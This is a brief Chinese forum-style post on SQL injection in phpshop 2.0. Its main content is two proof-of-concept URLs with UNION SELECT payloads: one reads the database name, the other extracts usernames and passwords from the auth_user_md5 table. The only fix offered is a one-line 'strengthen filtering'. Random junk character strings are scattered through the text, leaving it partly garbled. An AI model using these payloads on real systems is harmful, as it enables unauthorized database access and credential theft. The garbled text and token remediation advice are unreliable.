phpshop 2.0 SQL注入及修复

admin

标题 : phpshop 2.0 SQL Injection Vulnerability

$ ?/ N, t  Z! S1 i作者 : By onestree
3 z& J) {& X$ ^4 F" ]4 T6 j下载地址 : http://code.google.com/p/phpshop/downloads/list
; X/ c8 V' H- b) l* t测试地址: windows 7 / ubuntu


: q8 n% A/ B- u+ P. ^, hSQLi p0c:
4 z& W) p) I8 k: T3 c
* o4 {6 V; i4 i6 X% {. C9 @. g==================

http://www.xxx.com /phpshop 2.0/?page=admin/function_list&module_id=11'
union select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 --

http://localhost/phpshop 2.0/?page=shop/flypage&product_id=1087'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5--
. q7 G: }& L1 C9 n. w
修复：
加强过滤
​
/ ]% L+ c  M4 F! p4 ?( I